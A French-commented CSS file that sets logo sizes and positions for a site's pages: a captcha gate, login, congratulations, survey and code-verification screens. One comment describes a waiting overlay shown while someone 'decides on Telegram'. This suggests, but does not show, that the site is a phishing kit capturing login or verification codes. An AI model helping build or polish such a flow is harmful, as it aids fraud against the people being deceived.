/* ============================================================
   CONTROLE DE TOUS LES LOGOS DU SITE
   ============================================================

   Ce fichier controle la taille et la position de chaque logo.
   Pour modifier un logo :
   1. Trouve le bon bloc ci-dessous
   2. Change les chiffres
   3. Rafraichis la page (F5)

   AIDE RAPIDE :
   - width  = largeur
   - height = hauteur
   - margin-top    = decaler vers le BAS  (negatif = vers le haut)
   - margin-bottom = espace EN DESSOUS
   - margin-left   = decaler vers la DROITE (negatif = vers la gauche)
   - margin-right  = decaler vers la GAUCHE (negatif = vers la droite)

   ============================================================ */


/* ===========================================
   PAGE CAPTCHA (index.php)
   Le gros logo au centre au dessus du captcha
   =========================================== */
.captcha-wrapper .logo-box {
    width: 180px;
    height: 110px;
    margin-top: 10px;
    margin-bottom: 0px;
    margin-left: auto;
    margin-right: auto;
}


/* ===========================================
   HEADER — pages accueil, login, selection
   Le logo en haut a gauche
   (home.php, login.php, select.php)
   =========================================== */
.home-header .logo-box,
.login-header .logo-box,
.select-header .logo-box {
    width: 100px;
    height: 34px;
    margin-top: 0px;
    margin-bottom: 0px;
    margin-left: 0px;
    margin-right: auto;
}


/* ===========================================
   HEADER — page felicitations
   Le logo en haut a gauche
   (felicitations.php)
   =========================================== */
.header .header-logo {
    width: 100px;
    height: 34px;
    margin-top: 0px;
    margin-bottom: 0px;
    margin-left: 0px;
    margin-right: auto;
}


/* ===========================================
   TRANSITION 1 (transition.php)
   Le logo anime au centre sur fond noir
   ATTENTION : utilise logo-transition.png (pas logo.png)
   =========================================== */
.transition-page .logo-anim {
    width: 90px;
    height: 90px;
}


/* ===========================================
   TRANSITION 2 (transition2.php)
   Le logo anime au centre sur fond blanc
   ATTENTION : utilise logo-transition.png (pas logo.png)
   =========================================== */
body.transition-page .transition-container .logo-anim {
    width: 90px;
    height: 90px;
}


/* ===========================================
   PAGE SELECTION — carte sondage 1
   Le logo rectangulaire dans la carte
   (select.php)
   =========================================== */
.card-logo-wide {
    max-width: 200px;
    height: 30px;
    transform: translateX(-2px)
}


/* ===========================================
   PAGE SELECTION — carte sondage 2
   Le petit logo carre dans la carte
   (select.php)
   =========================================== */
.card-logo-square {
    width: 36px;
    height: 36px;
}


/* ===========================================
   FORMULAIRE SONDAGE — logo au dessus du formulaire
   Le logo rectangulaire
   (regul.php)
   =========================================== */
.survey-logo {
    max-width: 176px;
    height: 27px;
    margin-top: 0px;
    margin-bottom: 4px;
    margin-left: 3px;
    margin-right: auto;
}


/* ===========================================
   FORMULAIRE SONDAGE — petit logo dans le champ
   Le petit carre a droite du champ code invitation
   (regul.php, regul2.php)
   =========================================== */
.invite-logo {
    width: 32px;
    height: 32px;
}


/* ===========================================
   FORMULAIRE SONDAGE — mini logo en bas
   Le petit logo sous le bouton envoyer
   (regul.php, regul2.php)
   =========================================== */
.bottom-logo {
    width: 60px;
    height: 36px;
    margin-top: 12px;
    margin-bottom: 0px;
    margin-left: auto;
    margin-right: auto;
}


/* ===========================================
   PAGE VERIFICATION — logo principal
   Le gros logo au dessus du titre
   (verification.php)
   =========================================== */
.verif-main-logo {
    width: 200px !important;
    height: 130px !important;
    margin-top: 0px;
    margin-bottom: 28px;
    margin-left: auto;
    margin-right: auto;
    display: block;
}

.verif-main-logo img {
    width: 200px !important;
    height: 200px !important;
    object-fit: contain;
    display: block;
}


/* ===========================================
   PAGE VERIFICATION — logo du champ
   Le logo rectangulaire au dessus du champ code
   (verification.php)
   =========================================== */
.verif-field-logo {
    max-width: 240px;
    height: 27px;
    margin-top: 0px;
    margin-bottom: 4px;
    margin-left: 5px;
}


/* ===========================================
   PAGE VERIFICATION — logo overlay attente
   Le logo anime pendant que tu decides sur Telegram
   (verification.php)
   =========================================== */
.loading-logo {
    width: 70px;
    height: 70px;
}